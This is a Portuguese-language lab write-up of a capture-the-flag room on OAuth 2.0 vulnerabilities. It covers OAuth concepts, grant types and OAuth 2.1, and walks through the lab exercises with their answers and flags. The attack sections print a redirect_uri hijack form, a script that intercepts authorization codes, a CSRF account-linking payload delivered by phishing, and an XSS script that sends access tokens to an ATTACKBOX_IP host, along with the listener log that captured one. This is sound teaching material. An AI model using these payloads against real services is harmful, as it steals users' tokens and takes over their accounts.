OAuth Vulnerabilities
Objetivos
- Conceitos essenciais sobre OAuth 2.0.
- O fluxo do OAuth 2.0.
- Identificar serviços de OAuth.
- Explorar técnicas.
- Evolução do OAuth 2.1.
A aula pode ser encontrada aqui room 0Auth Irei documentar a aula e seus exercícios propostos.
Conceitos chaves
Proprietário do recurso
O proprietário do recursos pode ser uma pessoa ou sistema, que controla um certo tipo de dado e pode autorizar uma aplicação a acessar este dado em seu nome. O conceito fundamental gira em torno do usuário, seu consentimento e controle, por exemplo, você é o proprietário do recurso como um cliente da cafeteria. Você pode controlar as informações da sua conta e conceder permissão ao aplicativo móvel da cafeteria para acessar seus dados.
Cliente
O cliente pode ser um aplicativo mobile ou uma aplicação web (server side), desempenha o papel de intermediário, requisitando acesso aos recursos e executando ações com a permissão do proprietário do recurso. Exemplo, o aplicativo ou aplicação web realiza os pagamentos dos pedidos, o proprietário do recurso autoriza o acesso aos detalhes da conta e informações de pagamento.
Servidor de autorização
O servidor de autorização é responsável por emitir tokens de acesso ao cliente após autenticar com sucesso o proprietário do recurso e obter sua autorização.O servidor de autorização desempenha um papel crucial no processo OAuth, garantindo que o cliente receba permissão somente após autenticação e consentimento do usuário legítimo. O servidor de autorização controla as autenticações e autorizações, verifica suas credenciais e concede permissões para aplicação web( ou app mobile) acessar a sua conta.
Servidor de recurso
O servidor que hospeda os recursos protegidos pode aceitar e responder a solicitações de recursos protegidos usando tokens de acesso. Este servidor garante que apenas clientes autenticados e autorizados possam acessar ou manipular os dados do proprietário do recurso.
Concessão de Autorização
O cliente usa uma credencial que representa a autorização do proprietário do recurso. Os principais tipos de concessão são:
- Authorization Code
- Implicit
- Resource Owner Password Credentials
- Client Credentials
Token de acesso
É uma credencial que o cliente usa para acessar recursos protegidos em nome do proprietário do recurso. Esses tokens possuem uma vida útil. São essenciais para manter a segurança nas comunicações entre o cliente e o servidor de recurso, sem a necessidade de solicitar as credenciais do proprietário do recurso a cada requisição.
Token de atualização
É uma credencial que o cliente pode usar para obter um novo token de acesso sem exigir que o proprietário do recurso se autentique novamente. Os tokens de atualização geralmente têm uma vida útil longa e fornecem uma maneira de manter sessões de usuário sem interrupções frequentes de login.
Redirecionar URI
O URI para o qual o servidor de autorização redirecionará o user-agent do proprietário do recurso após a concessão ou negação da autorização. Ele verifica se o cliente para o qual a resposta de autorização foi solicitada está correto.
Escopo
Escopos são um mecanismo para limitar o acesso de um aplicativo à conta de um usuário. Eles permitem que o cliente especifique o nível de acesso necessário e que o servidor de autorização informe ao usuário quais níveis de acesso o aplicativo está solicitando. Escopos ajudam a impor o princípio do menor privilégio.
Parâmetro de estado
Um parâmetro opcional, mantém o estado entre o cliente e o servidor de autorização. Ele pode ajudar a evitar ataques CSRF ao garantir que a resposta corresponda à solicitação do cliente. O parâmetro state é uma parte crucial da proteção do fluxo OAuth.
Token e endpoint de autorização
O endpoint do servidor de autorização é onde o cliente troca a concessão de autorização (ou token de atualização) por um token de acesso. Em contraste, o endpoint de autorização é onde o proprietário do recurso é autenticado e autoriza o cliente a acessar os recursos protegidos.
Which (optional) parameter can be used to prevent CSRF attacks?
Resposta:state
What credentials can the client use to access protected resources on behalf of the resource owner?
Resposta:Access token
Tipos de concessão de OAuth
Discutiremos abaixo os principais tipos de concessão que OAuth fornece para diversos tipos de cenários e clientes.
Concessão de código de autorização
É o tipo mais frequente, é mais adequado para aplicações server side, por exemplo: PHP, JAVA, .NET, etc. Nesse cenário, o cliente redireciona o usuário para o servidor de autorização, onde realiza a autenticação e concede autorização. O servidor de autorização redireciona o usuário para o cliente com um código de autorização. Então, o cliente troca esse código por um token e, com esse token, o cliente solicita ao servidor de recurso o endpoint para acesso ao recurso solicitado.
Esse tipo de concessão aprimora a segurança, garantindo que o token de acesso não será exposto, visto que a troca de código de autorização e token é feita entre os servidores, evitando assim vazamentos
Concessão implícita
Principalmente utilizado em aplicativos móveis e aplicações web, onde não ocorre o armazenamento seguro do segredo. Um token de acesso é emitido diretamente para o cliente, sem a necessidade de um código de autorização. Nesse cenário, o cliente redireciona o usuário para o servidor de autorização. Depois de autorizado e a concessão realizada, o servidor de autorização retorna com o token de acesso na URL.
Esse tipo de concessão realiza menos etapas e é mais rápido, porém, é menos seguro e expõe o token na URL. Além disso, não suporta a atualização do token.
Concessão de credenciais de senha do proprietário do recurso
Correção Gramatical: Utilizada quando o usuário possui alta confiança no cliente, as credenciais são enviadas para o cliente, que então envia as credenciais para o servidor de autorização. O servidor de autorização verifica as credenciais e, após isso, emite o token.
Recomendado somente em cenários onde o usuário confia na aplicação, como em aplicações first party. Este método requer menos interações, mas possui menos segurança.
Concessão de credenciais do cliente
Utilizado entre servidores, sem o envolvimento do usuário, são usadas as credenciais do cliente (client ID e um segredo). O cliente interage com o servidor de autorização com essas credenciais, e o servidor emite um token de acesso.
Utilizado entre servidores e serviços de backend, reduz os riscos de segurança, pois nenhum dado do usuário é exposto.
What is the grant type often used for server-server interaction?
Resposta: Client Credentials
Como funciona OAuth
Para temos uma compreensão melhor do funcionamento como um todo, vamos utilizar a imagem fornecida na aula.
No laboratório, iremos nos autenticar no CoffeShopApp
usando OAuth com as credenciais fornecidas abaixo:
Victim:
victim:victim123
Attacker:
attacker:tesla@123
O client é http://bistro.thm:8000
, onde o usuário pretende logar utilizando suas credenciais da conta do CoffeShopApp
. Sendo assim:
Client:
http://bistro.thm:8000
Servidor de autorização:
CoffeShopApp
Solicitação de autorização
Quando acessamos o bistro.thm
temos a opção de logar com OAuth.
Quando clicamos no botão somos redirecionados para o servidor de autorização. Realizando o decode da URI para melhor visualização:
http://coffee.thm:8000/accounts/login/?next=/o/authorize/?client_id=zlurq9lseKqvHabNqOc2DkjChC000QJPQ0JvNoBt&response_type=code&redirect_uri=http://bistro.thm:8000/oauthdemo/callback
Os campos da URI são:
response_type=code
: Indica que oCoffeShopApp
está esperando o código de autorização.state
: Um token CSRF, garante que a requisição e a resposta são parte da mesma transação.client_id
: Identificador público, identifica a aplicação cliente.redirect_uri
: A URL para onde o servidor de autorização enviará o usuário depois que ele conceder permissão.scope
: Especifica o nível de acesso.
Com essas informações, que serão passadas pelo bistro app
, o servidor de autorização entenderá a requisição e para onde deve redirecionar o usuário após as verificações. Exemplo de um código Python fornecido na aula.
1
2
3
4
5
6
7
8
9
10
def oauth_login(request):
app = Application.objects.get(name="CoffeeApp")
redirect_uri = request.GET.get("redirect_uri", "http://bistro.thm:8000/oauthdemo/callback")
authorization_url = (
f"http://coffee.thm:8000/o/authorize/?client_id={app.client_id}&response_type=code&redirect_uri={redirect_uri}"
)
return redirect(authorization_url)
Autenticando e autorizando
Quando usuário alcança o servidor de autorização é solicitado suas credenciais, após verificações, é mostrado ao usuário quais são as permissões que o bistro app
está solicitando.
Resposta de autorização
Após o usuário conceder o acesso, é gerado um código, o usuário é redirecionado para a página do bistro app
, juntamente com esse código.
Após obter o código de autorização o bistro app
solicita o token de acesso para o servidor de autorização.
Token de acesso
Bistro troca o código de autorização por um token de acesso através de uma requisição POST
ao endpoint do servidor de autorização, utilizando os seguintes parâmetros.
grant_type
: tipo de concessão que está sendo usado, é definido umcode
para especificar o código de autorização como o tipo de concessão.code
: código de autorização recebido do servidor de autorização.redirect_uri
: deve corresponder com URI original fornecida na requisição de autorização.client_id and client_secret
: credenciais para autenticação do aplicativo cliente.
Exemplo de código fornecido na aula, utilizando os parâmetros acima.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
token_url = "http://coffee.thm:8000/o/token/"
client_id = Application.objects.get(name="CoffeeApp").client_id
client_secret = Application.objects.get(name="CoffeeApp").client_secret
redirect_uri = request.GET.get("redirect_uri", "http://bistro.thm:8000/oauthdemo/callback")
data = {
"grant_type": "authorization_code",
"code": code,
"redirect_uri": redirect_uri,
"client_id": client_id,
"client_secret": client_secret,
}
headers = { 'Content-Type': 'application/x-www-form-urlencoded',
'Authorization': f'Basic {base64.b64encode(f"{client_id}:{client_secret}".encode()).decode()}',
}
response = requests.post(token_url, data=data, headers=headers) tokens = response.json()
Abaixo formato da requisição enviada pelo navegador.
Resposta do token
O servidor de autorização autentica o site do bistrô e valida o código de autorização. Após a validação bem-sucedida, o servidor responde com um Access Token
e opcionalmente com um Refresh token
.
Os campos que são incluídos na resposta do servidor de autorização.
access_token
token_type
expires_in
refresh_token (optional)
Com isso o bistro app
pode realizar requisições autenticadas no servidor de recursos do CoffeShopApp
, em nome do usuário.
What is the cliend_id value after initiating the OAuth 2.0 workflow? Respota: zlurq9lseKqvHabNqOc2DkjChC000QJPQ0JvNoBt
What parameter name determines the time validity of a token in the token response?
Resposta:expires_in
Identificando serviços de OAuth
A primeira indicação de que um serviço utiliza OAuth pode ser observada em seu processo de login, onde são fornecidos serviços externos para realizar a autenticação, como por exemplo: Google, Facebook e GitHub. Esses serviços nos redirecionam para a página de autorização deles.
Implementações de OAuth
Analisando o tráfego de rede do processo de login, devemos prestar atenção nos redirecionamentos HTTP. O OAuth geralmente redireciona o navegador para a URL do servidor de autorização.
Essa URL frequentemente contém parâmetros específicos de consultas, como por exemplo.
response_type
client_id
redirect_uri
scope
state
Exemplo de URL
1
https://dev.coffee.thm/authorize?response_type=code&client_id=AppClientID&redirect_uri=https://dev.coffee.thm/callback&scope=profile&state=xyzSecure123
Framework OAuth
O próximo passo é identificar o framework ou a biblioteca específica que o aplicativo emprega. Isso pode fornecer informações valiosas para a descoberta de vulnerabilidades e para realizar uma avaliação de segurança apropriada. Aqui estão algumas estratégias para identificar o framework:
Cabeçalhos HTTP e respostas
: Inspecionar cabeçalhos HTTP e o corpo das respostas, buscando comentários que especifiquem bibliotecas ou frameworks.Análise do código fonte
: Caso tenha acesso ao código fonte, buscar por palavras-chave ou bibliotecas.Autorização e token do endpoint
: Analisar os endpoints usados para obter códigos de autorização e tokens de acesso. Diferentes implementações de OAuth podem ter padrões ou estruturas de endpoint exclusivos.Mensagens de erro
: Mensagens de erro personalizadas e saídas de depuração podem revelar inadvertidamente a pilha de tecnologia subjacente.
What is the name of the toolkit used for implementing Oauth in the URL http://coffee.thm:8000/
?
Sabemos que a aplicação está utilizando Django para implementar OAuth, na aula já é fornecido a resposta, e também podemos encontra-la facilmente realizando uma pesquisa na internet.
Resposta:django-oauth-toolkit
Roubando Token OAuth
O token possui um papel crucial para proteger os recursos. Conforme mencionado, ele é emitido pelo servidor de autorização e redirecionado para a aplicação cliente através do parâmetro redirect_uri
. Esse parâmetro, no entanto, nem sempre é bem protegido. Por meio dele, é possível realizar um ataque de hijack tokens
.
Papel do Redirect_uri
Redirect_uri
é um parâmetro específico no fluxo do OAuth. A URI desse parâmetro deve ser pré-registrada na aplicação, prevenindo assim vulnerabilidades no redirecionamento. Durante o processo de autenticação, o servidor verifica o valor fornecido pelo redirect_uri
e garante que ele corresponde às URIs registradas.
Vulnerabilidade
Um redirect_uri
inseguro pode levar a falhas de segurança graves. Por exemplo, se o atacante ganhar controle sobre um domínio ou URL listada no parâmetro, ele pode interceptar o código de autorização e, assim, solicitar um token de acesso.
Utilizaremos o exemplo a seguir, fornecido em aula, para entender melhor o conceito.
Realizando ataque
No CoffeShopApp
temos as seguintes URIs registradas.
No exemplo, o atacante toma controle do domínio dev.bistro.thm
e consegue hospedar qualquer página HTML no servidor. Sendo assim, o atacante cria a página abaixo, onde há um link escondido que será enviado no parâmetro redirect_uri
1
2
3
<form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get">
<input type="hidden" name="redirect_uri" value="http://dev.bistro.thm:8002/malicious_redirect.html"> <input type="submit" value="Hijack OAuth">
</form>
Será enviado o link http://dev.bistro.thm:8002/malicious_redirect.html
, em nosso parâmetro redirect_uri
.
Após a vítima clicar em “Login via OAuth”, será feita uma requisição para o link do CoffeShopApp
. A vítima então fornecerá suas credenciais para o servidor de autorização, que as verificará e, em seguida, redirecionará para a URI pré-registrada no servidor: http://dev.bistro.thm:8002/malicious_redirect.html
.
A página maliciosa realiza um parse na requisição, buscando o código de autorização e salvando-o em um banco de dados. Código abaixo
1
2
3
4
5
6
7
8
9
<script>
// Extract the authorization code from the URL
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
document.getElementById('auth_code').innerText = code;
console.log("Intercepted Authorization Code:", code);
// code to save the acquired code in database/file etc </script>
Após nos autenticar em CoffeShopApp
e autorizar, somos redirecionados, e obtemos o código de autorização.
O endpoint /callback
sempre está disponível. Com o código de autorização em mãos, podemos solicitar um token de acesso.
Endpoint: http://bistro.thm:8000/oauthdemo/callbackforflag/?code=xxxx
Nosso código: Mra1NAHSQyndd9M4vPfi1n4qFUubCf
What is the flag value after getting the access token?
Reposta:THM{GOT_THE_TOKEN007}
CSRF no OAuth
O parâmetro state
protege contra ataca de CSRF, no qual ocorre quando um atacante induz o usuário a executar uma ação desnecessária, o ataque a CSRF leva a um acesso não autorizado aos recursos e pode comprometer o fluxo do OAuth. O state
ajuda a mitigar esses ataques, mantendo a integridade no processo de autorização.
Fraqueza ou falta do parâmetro
O parâmetro state
é uma string arbitrária, está incluída na requisição feita pela aplicação cliente, quando o servidor de autorização recebe a requisição, é verificado as credenciais e é redirecionado de volta para aplicação cliente, o código de autorização junto com o parâmetro state
. O cliente verifica se corresponde o valor no parâmetro que foi inicialmente enviado, esse processo de validação garante que a resposta é legítima no fluxo do OAuth.
A vulnerabilidade ocorre quando há a falta do parâmetro, valor fixo ou uma sequência de número de fácil adivinhação. O atacante pode redirecionar o usuário para o domínio que está sob controle, depois que ele efetuar a autenticação e autorização no servidor de autorização.
Prática
Nessa prática será explorada a ausência do parâmetro, primeiro faremos na perspectiva do atacante. Acessando a URL abaixo, realizamos o sincronismo de contas com o CoffeShopApp
, iremos utilizar as credenciais de atacante: attacker:attacker
.
Link:http://mycontacts.thm:8080/csrf/index.php
Após autenticado clicamos em “Sync Contacts” , somos redirecionado para coffe.thm
, analisando a URL identificamos que não possui o parâmetro state
.
Resumo do ataque:
Login como Atacante: Você usa as credenciais do atacante para obter seu próprio código de autorização.
Preparo do Payload: Com esse código de autorização, você prepara um payload malicioso.
Envio à Vítima: A vítima, ao clicar no link malicioso, associa a conta OAuth dela à conta do atacante.
Ataque
Acessamos o link abaixo, utilizando as credenciais: attacker:tesla@123
Link: http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http://coffee.thm:8000/oauthdemo/callbackforcsrf/
Obtemos o código de autorização do atacante.
1
2
3
4
{
"code": "oudFyfzhrfgYwNQtbvnUwKY9fXlRNg",
"Payload": "http://bistro.thm:8080/csrf/callbackcsrf.php?code=oudFyfzhrfgYwNQtbvnUwKY9fXlRNg"
}
Com o payload preparado, enviamos para vítima, podemos realizar um ataque de phising para o envio. Após a vítima clicar no link será solicitada suas credenciais, e após fornece-las a conta da vítima será vinculada a conta do atacante. Sem o parâmetro state
, o servidor de autorização não consegue determinar se a solicitação de autorização é legítima ou maliciosa, demonstrando como a ausência do parâmetro state
pode ser explorada para ataques CSRF em fluxos OAuth. Abaixo a visão da vítima após autenticar.
What is the flag value after attaching the attacker’s account with the victim’s account?
Resposta:THM{CONTACTS_SYNCED}
What parameter name does the client application include in the authorization request to avoid CSRF attacks?
Resposta:state
Fluxo de Concessão Implícita
É enviado diretamente para o cliente, sem a necessidade de um código de autorização. É usado principalmente por aplicações single-page e desenhado para clientes públicos que não conseguem armazenar com segurança os client secrets.
As fraquezas são:
- Exposição do token de acesso na URL
- Inadequada validação do redirecionamento de URIs.
- Ausência na implementação de HTTPS.
- Inadequado manuseio do token de acesso.
Prática
O usuário acessa http://factbook.thm:8080
, está página permite que o usuário sincronize todos os seus status de CoffeShoApp
. Clicando no botão “Sync Statuses from CoffeeShopApp” o processo é iniciado, o usuário é redirecionado para CoffeShopApp
onde irá se autenticar com as credenciais: victim:victim123
. Após isso, é feito a concessão implícita o usuário é redirecionado de volta para factbook
, o token de acesso se encontra na URL.
A página onde o usuário realiza a postagem de status é vulnerável a XSS. Na perspectiva do atacante, essa vulnerabilidade é explorada, injetando o código malicioso, exemplo fornecido em aula.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
var hash = window.location.hash.substr(1);
var result = hash.split('&').reduce(function (res, item) {
var parts = item.split('=');
res[parts[0]] = parts[1];
return res;
},
{});
var accessToken = result.access_token;
var img = new Image();
img.src = 'http://ATTACKBOX_IP:8081/steal_token?token=' + accessToken;
</script>
window.location.hash
obtém a parte do URL após o#
.substr(1)
remove o#
, deixando apenas o fragmento relevante.hash.split('&')
separa o fragmento em pares de chave-valor (ex.,["access_token=12345", "token_type=Bearer"]
).reduce
cria um objeto (res
) onde cada chave-valor do fragmento é separado e armazenado.Extrai o valor do
access_token
do objetoresult
, armazenando-o na variávelaccessToken
.Cria uma nova imagem (
new Image()
).Define o
src
da imagem como uma URL contendo o token de acesso.
O token de acesso do usuário é enviado para o atacante através da imagem, e assim o atacante obtém acesso ao recurso protegido.
1
2
3
4
root@ip-10-10-162-175:~# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.9.2.217 - - [27/Aug/2024 19:30:10] code 404, message File not found
10.9.2.217 - - [27/Aug/2024 19:30:10] "GET /steal_token?token=2aauviER3lUOev8wNmXQ9B4GNUoadE HTTP/1.1" 404 -
What symbol separates the access token from the OAuth 2.0 implicit grant flow URL?
Resposta:#
Visit the URL http://coffee.thm:8080/flagvalidator/
and enter the access token you acquired. What is the flag value?
Resposta:THM{TOKEN_HACKED}
Outras Vulnerabilidades e Evolução do OAuth 2.1
Os invasores podem explorar várias outras fraquezas críticas nas implementações do OAuth 2.0. A seguir estão algumas vulnerabilidades adicionais.
Expiração de Token Insuficiente
Tokens de acesso com vidas longas ou infinitas representam um risco de segurança significativo. Se um invasor obtiver tal token, ele poderá acessar recursos protegidos indefinidamente.
Ataques de Repetição
Ataques de repetição envolvem capturar tokens válidos e reutilizá-los para obter acesso não autorizado. Os invasores podem explorar tokens várias vezes sem mecanismos para detectar e impedir a reutilização de tokens.
Armazenamento Inseguro de Tokens
Armazenar tokens de acesso e tokens de atualização de forma insegura (por exemplo, em armazenamento local ou arquivos não criptografados) pode levar ao roubo de tokens e acesso não autorizado. Usar mecanismos de armazenamento seguros, como cookies seguros ou bancos de dados criptografados, pode proteger os tokens de serem acessados por agentes maliciosos.
Evolução do OAuth 2.1
OAuth 2.1 representa a mais recente iteração na evolução do padrão OAuth, construído sobre a fundação do OAuth 2.0 para abordar suas deficiências e aumentar a segurança. A jornada do OAuth 2.0 para o OAuth 2.1 foi impulsionada pela necessidade de mitigar vulnerabilidades conhecidas e incorporar as melhores práticas que surgiram desde que a especificação original foi publicada. OAuth 2.0, embora amplamente adotado, tinha várias áreas que exigiam melhorias, particularmente em termos de segurança e interoperabilidade.
Uma das atualizações mais significativas é a descontinuação do tipo de concessão implícita.
Além disso, o OAuth 2.1 exige o uso do parâmetro
state
para proteção contra ataques CSRF.O OAuth 2.1 também enfatiza a importância do manuseio e armazenamento seguros de tokens.
Além disso, o OAuth 2.1 aprimora a interoperabilidade ao fornecer diretrizes mais claras para validação de URI de redirecionamento, autenticação de cliente e validação de escopo.
Which of the following has been omitted from OAuth 2.1?
a) Implicit Grant
b) Authorization Code
c) Tokens
d) State
Resposta:a
Conclusão
Com isso, temos uma melhor compreensão do que é o OAuth 2.0, de seu funcionamento em diversos cenários, e também das vulnerabilidades conhecidas e frequentemente exploradas nos sistemas atuais. Implementações seguras de OAuth exigem atenção cuidadosa aos detalhes, como a expiração apropriada de tokens, armazenamento seguro de credenciais e uso rigoroso de parâmetros como redirect_uri e state para prevenir ataques de CSRF e hijack tokens.